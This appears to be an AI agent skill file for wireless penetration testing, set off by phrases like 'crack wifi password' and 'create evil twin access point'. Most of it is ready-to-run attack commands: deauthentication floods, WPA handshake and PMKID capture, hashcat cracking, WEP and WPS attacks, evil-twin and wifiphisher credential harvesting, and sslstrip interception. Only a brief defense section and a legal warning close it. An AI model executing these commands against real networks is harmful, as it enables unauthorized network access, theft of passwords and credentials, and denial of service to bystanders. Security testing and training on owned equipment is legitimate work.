| name | wireless-security-wifi-pentest |
| description | Wireless security penetration testing with aircrack-ng, WEP/WPA/WPA2/WPA3 attacks, and 802.11 exploitation |
| triggers | ["crack wifi password","capture wpa handshake","perform deauth attack","test wireless security","setup monitor mode adapter","create evil twin access point","crack wep encryption","wireless penetration testing"] |
Wireless Security & WiFi Penetration Testing
Skill by ara.so — Security Skills collection.
Expert-level wireless security penetration testing using aircrack-ng suite, handshake capture, WEP/WPA/WPA2/WPA3 cracking, rogue AP deployment, and 802.11 exploitation techniques. This skill covers reconnaissance, attack execution, and defensive mitigation for wireless networks.
What This Skill Covers
- 802.11 fundamentals: Frame types, encryption protocols (WEP, WPA, WPA2, WPA3), authentication mechanisms
- Adapter configuration: Monitor mode setup, packet injection testing, chipset compatibility
- Reconnaissance: Network discovery, hidden SSID enumeration, client enumeration, traffic analysis
- WEP attacks: IVS capture, PTW attack, fragmentation, Chop-Chop, Caffe Latte
- WPA/WPA2 attacks: Handshake capture, deauthentication, PMKID extraction, dictionary/GPU cracking
- WPA3 exploitation: Downgrade attacks, Dragonblood vulnerabilities
- Rogue AP attacks: Evil twin deployment, captive portals, wireless MITM
- Enterprise WPA: EAP/RADIUS assessment, certificate validation bypass
- Detection & defense: WIDS configuration, management frame protection, hardening recommendations
Prerequisites
Hardware Requirements
- Injection-capable wireless adapter (Atheros AR9271 or Ralink RT3070/RT5372 chipset)
- TP-Link TL-WN722N v1 (Atheros AR9271) ✅
- Alfa AWUS036NHA (Atheros AR9271) ✅
- Panda PAU05 (Ralink RT5372) ✅
- Avoid: TL-WN722N v2/v3 (Realtek, no injection support)
- Test access point you own and control
- Client device for handshake generation
- Kali Linux (bare-metal or VM with USB passthrough)
Software Stack
which aircrack-ng airodump-ng aireplay-ng airbase-ng
sudo apt update
sudo apt install -y \
hashcat hcxdumptool hcxtools \
reaver bully wash \
hostapd dnsmasq \
kismet wireshark-qt \
bettercap wifiphisher
Adapter Setup & Monitor Mode
Identify Wireless Interface
iwconfig
ip link show
iw dev
lsusb
lspci | grep -i wireless
Enable Monitor Mode
sudo airmon-ng check kill
sudo airmon-ng start wlan0
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
iwconfig wlan0mon
Test Packet Injection
sudo aireplay-ng --test wlan0mon
sudo aireplay-ng --test -a 00:11:22:33:44:55 wlan0mon
Set Regulatory Domain & Channel
iw reg get
sudo iw reg set US
sudo iw dev wlan0mon set channel 6
sudo iw dev wlan0mon set freq 2437
Reconnaissance & Network Discovery
Basic Network Scan
sudo airodump-ng wlan0mon
sudo airodump-ng -c 6 wlan0mon
sudo airodump-ng --band a wlan0mon
sudo airodump-ng --band bg wlan0mon
sudo airodump-ng -w scan_output --output-format pcap,csv wlan0mon
Target Specific Network
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w target wlan0mon
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 --showack wlan0mon
Hidden SSID Discovery
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 wlan0mon
sudo aireplay-ng --deauth 5 -a 00:11:22:33:44:55 wlan0mon
Client Enumeration with Kismet
sudo kismet -c wlan0mon
kismet_client --list-clients --server localhost:2501
WPA/WPA2 Handshake Capture
Capture 4-Way Handshake
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon
sudo aireplay-ng --deauth 10 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon
Verify Handshake Capture
sudo aircrack-ng capture-01.cap
tshark -r capture-01.cap -Y "eapol" | grep -i handshake
Convert Handshake for Hashcat
sudo aircrack-ng -J output capture-01.cap
hcxpcapngtool -o output.22000 capture-01.cap
PMKID Attack (Clientless WPA/WPA2)
Capture PMKID
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
hcxpcapngtool -o pmkid.22000 pmkid.pcapng
grep -c "22000" pmkid.22000
WPA/WPA2 Cracking
Dictionary Attack with Aircrack-ng
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
sudo aircrack-ng -w wordlist.txt -b 00:11:22:33:44:55 capture-01.cap
GPU Cracking with Hashcat
hashcat -m 22000 -a 0 output.22000 /usr/share/wordlists/rockyou.txt
hashcat -m 22000 pmkid.22000 wordlist.txt
hashcat -m 22000 -a 0 output.22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 22000 -a 3 output.22000 ?d?d?d?d?d?d?d?d
hashcat -m 22000 output.22000 --show
Precomputed Rainbow Tables (Cowpatty)
genpmk -f wordlist.txt -d pmk_database.db -s "TargetSSID"
cowpatty -d pmk_database.db -r capture-01.cap -s "TargetSSID"
WEP Cracking
Passive IVS Collection (PTW Attack)
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w wep_capture wlan0mon
sudo aircrack-ng wep_capture-01.cap
Active ARP Replay Attack
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w wep_arp wlan0mon
sudo aireplay-ng --fakeauth 0 -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon
sudo aireplay-ng --arpreplay -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon
Fragmentation Attack (No Clients)
sudo aireplay-ng --fakeauth 0 -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon
sudo aireplay-ng --fragment -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon
sudo packetforge-ng --arp -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -k 192.168.1.1 -l 192.168.1.2 -y fragment-*.xor -w arp_packet
sudo aireplay-ng --interactive -r arp_packet wlan0mon
Deauthentication & DoS Attacks
Deauth Single Client
sudo aireplay-ng --deauth 0 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon
Deauth All Clients (Network DoS)
sudo aireplay-ng --deauth 0 -a 00:11:22:33:44:55 wlan0mon
sudo aireplay-ng --deauth 10 -a 00:11:22:33:44:55 --reason 7 wlan0mon
MDK4 Beacon Flood
sudo mdk4 wlan0mon b -a -m
sudo mdk4 wlan0mon d -b /path/to/blacklist.txt
Evil Twin & Rogue AP Attacks
Basic Evil Twin with Hostapd
cat > evil_twin.conf << EOF
interface=wlan0
driver=nl80211
ssid=TargetSSID
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=12345678
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF
sudo hostapd evil_twin.conf
sudo ip addr add 192.168.1.1/24 dev wlan0
sudo dnsmasq -C /dev/null -kd -F 192.168.1.10,192.168.1.100 -i wlan0 --bind-dynamic
Wifiphisher Automated Evil Twin
sudo wifiphisher -aI wlan0mon -eI eth0 -p firmware-upgrade
Capture Credentials with Bettercap
sudo bettercap -iface wlan0
> set wifi.interface wlan0mon
> wifi.recon on
> wifi.ap.ssid "TargetSSID"
> wifi.ap.bssid 00:11:22:33:44:55
> wifi.ap.channel 6
> set http.proxy.sslstrip true
> set net.sniff.verbose true
> http.proxy on
> net.sniff on
WPS Attacks
WPS PIN Brute Force with Reaver
sudo wash -i wlan0mon
sudo reaver -i wlan0mon -b 00:11:22:33:44:55 -vv
sudo reaver -i wlan0mon -b 00:11:22:33:44:55 -vv -d 5 -T 0.5 -N
sudo reaver -i wlan0mon -b 00:11:22:33:44:55 -vv -K
Bully WPS Attack
sudo bully wlan0mon -b 00:11:22:33:44:55 -c 6
sudo bully wlan0mon -b 00:11:22:33:44:55 -d -v 3
Enterprise WPA (EAP/RADIUS) Assessment
Enumerate EAP Methods
git clone https://github.com/s0lst1c3/eaphammer.git
cd eaphammer
./eaphammer --certs --eap-spray
tshark -r capture.pcap -Y "eap" -T fields -e eap.type | sort -u
Certificate Validation Bypass
sudo ./eaphammer \
--interface wlan0 \
--essid "EnterpriseSSID" \
--creds \
--auth wpa-eap
WPA3 & Advanced Attacks
WPA3 Downgrade Attack
sudo mdk4 wlan0mon d -a 00:11:22:33:44:55
Dragonblood (CVE-2019-13377)
git clone https://github.com/vanhoefm/dragonslayer.git
cd dragonslayer
./dragonslayer.py --test wlan0mon --bssid 00:11:22:33:44:55
Traffic Analysis & MITM
Capture & Decrypt WPA Traffic
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w traffic wlan0mon
SSL Strip & Traffic Sniffing
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo sslstrip -l 8080
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
tail -f /var/log/sslstrip.log
Detection & Defense
Management Frame Protection (802.11w)
ieee80211w=2
Wireless IDS with Kismet
alert=DEAUTHFLOOD,5/min,Deauthentication DoS
alert=DISCONFLOOD,5/min,Disassociation DoS
alert=BSSTIMESTAMP,10/min,Evil Twin Detected
sudo kismet -c wlan0mon --daemonize
Common Workflows
Full WPA2 Crack Workflow
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon &
sleep 5
sudo aireplay-ng --deauth 10 -a 00:11:22:33:44:55 wlan0mon
sudo aircrack-ng capture-01.cap
hashcat -m 22000 -a 0 capture.22000 /usr/share/wordlists/rockyou.txt
sudo airmon-ng stop wlan0mon
Evil Twin Credential Harvest
sudo aireplay-ng --deauth 0 -a 00:11:22:33:44:55 wlan0mon &
sudo wifiphisher -aI wlan0mon -eI eth0 -p oauth-login
Troubleshooting
"Injection Failed" Errors
sudo airmon-ng check kill
sudo ip link set wlan0 down
sudo ip link set wlan0 up
sudo airmon-ng start wlan0
sudo aireplay-ng --test wlan0mon
No Handshake Captured
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 wlan0mon
sudo aireplay-ng --deauth 50 -a 00:11:22:33:44:55 wlan0mon
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
Hashcat Not Using GPU
hashcat -I
sudo apt install -y nvidia-driver nvidia-cuda-toolkit
sudo apt install -y rocm-opencl-runtime
hashcat -m 22000 -D 2 hash.22000 wordlist.txt
"Channel -1" Error
sudo iw dev wlan0mon set channel 6
sudo airodump-ng -c 6 wlan0mon
Legal & Ethical Considerations
⚠️ WARNING: All techniques in this skill are for authorized testing only.
- Test only networks you own or have explicit written permission to assess
- Wireless attacks (deauth, jamming, rogue APs) are illegal under:
- US: Computer Fraud & Abuse Act (CFAA), FCC regulations
- EU: GDPR, national cybercrime laws
- UK: Computer Misuse Act
- Practice in isolated RF lab with controlled equipment
- Use proper engagement documentation (scope, authorization, ROE)
- Report vulnerabilities responsibly following coordinated disclosure
Additional Resources
Environment Variables Used:
- None (all commands use direct system paths or user-provided wordlists)
Key Files:
/usr/share/wordlists/rockyou.txt - Default Kali wordlist
/usr/share/hashcat/rules/ - Hashcat rule sets
capture-01.cap - Airodump capture files (user-generated)
*.22000 - Hashcat WPA hash format (user-generated)